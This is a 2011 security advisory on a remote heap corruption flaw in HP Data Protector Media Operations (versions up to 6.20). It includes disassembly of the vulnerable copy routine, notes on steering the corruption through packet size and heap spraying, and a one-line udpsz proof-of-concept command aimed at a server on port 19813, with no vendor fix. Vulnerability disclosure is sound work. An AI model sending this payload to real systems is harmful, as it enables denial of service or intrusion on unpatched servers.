#######################################################################

                             Luigi Auriemma

Application:  HP Data Protector Media Operations
              http://www8.hp.com/us/en/software/software-product.html?compURI=tcm:245-936920
Versions:     <= 6.20
Platforms:    Windows and others
Bug:          heap corruption
Exploitation: remote, versus server
Date:         03 Nov 2011 (found 06 Jul 2011)
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's homepage:
"HP data protection software reduces backup and recovery complexity and
cost by protecting virtual and physical applications—whether you have
one server or thousands."


#######################################################################

======
2) Bug
======


Heap overflow/corruption through a big size packet:

    0074D210  /$ 8B5424 08       MOV EDX,DWORD PTR SS:[ESP+8]
    0074D214  |. 8BC1            MOV EAX,ECX
    0074D216  |. 56              PUSH ESI
    0074D217  |. 57              PUSH EDI
    0074D218  |. 8BB8 7C170000   MOV EDI,DWORD PTR DS:[EAX+177C]
    0074D21E  |. 8B88 78170000   MOV ECX,DWORD PTR DS:[EAX+1778]
    0074D224  |. 2BD7            SUB EDX,EDI
    0074D226  |. 3BD1            CMP EDX,ECX
    0074D228  |. 7F 53           JG SHORT DBServer.0074D27D
    0074D22A  |. 53              PUSH EBX
    0074D22B  |. 8B5C24 10       MOV EBX,DWORD PTR SS:[ESP+10]
    0074D22F  |. 85DB            TEST EBX,EBX
    0074D231  |. 74 15           JE SHORT DBServer.0074D248
    0074D233  |. 8BCA            MOV ECX,EDX
    0074D235  |. 03FB            ADD EDI,EBX
    0074D237  |. 8BD9            MOV EBX,ECX
    0074D239  |. 8D70 06         LEA ESI,DWORD PTR DS:[EAX+6]
    0074D23C  |. C1E9 02         SHR ECX,2
    0074D23F  |. F3:A5           REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
    0074D241  |. 8BCB            MOV ECX,EBX
    0074D243  |. 83E1 03         AND ECX,3
    0074D246  |. F3:A4           REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
    0074D248  |> 8B88 78170000   MOV ECX,DWORD PTR DS:[EAX+1778]
    0074D24E  |. 8D7402 06       LEA ESI,DWORD PTR DS:[EDX+EAX+6]
    0074D252  |. 2BCA            SUB ECX,EDX
    0074D254  |. 8D78 06         LEA EDI,DWORD PTR DS:[EAX+6]
    0074D257  |. 8988 78170000   MOV DWORD PTR DS:[EAX+1778],ECX
    0074D25D  |. 8BD1            MOV EDX,ECX
    0074D25F  |. C1E9 02         SHR ECX,2
    0074D262  |. F3:A5           REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
    0074D264  |. 8BCA            MOV ECX,EDX
    0074D266  |. 5B              POP EBX
    0074D267  |. 83E1 03         AND ECX,3
    0074D26A  |. F3:A4           REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
    0074D26C  |. C780 7C170000 0>MOV DWORD PTR DS:[EAX+177C],0
    0074D276  |. 5F              POP EDI
    0074D277  |. 33C0            XOR EAX,EAX
    0074D279  |. 5E              POP ESI
    0074D27A  |. C2 0800         RETN 8

The corruption can be controlled through the tuning of the packet size
and the preceeding heap spray with other valid packets.

Note that this function is used for any size field, included the one
used for example in the packet 0x10 ("01 02 03 04 10 32bit_size").


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip

  udpsz -D -T -C 03000001fffff0000102030404 -b a SERVER 19813 65536


#######################################################################

======
4) Fix
======


No fix.


#######################################################################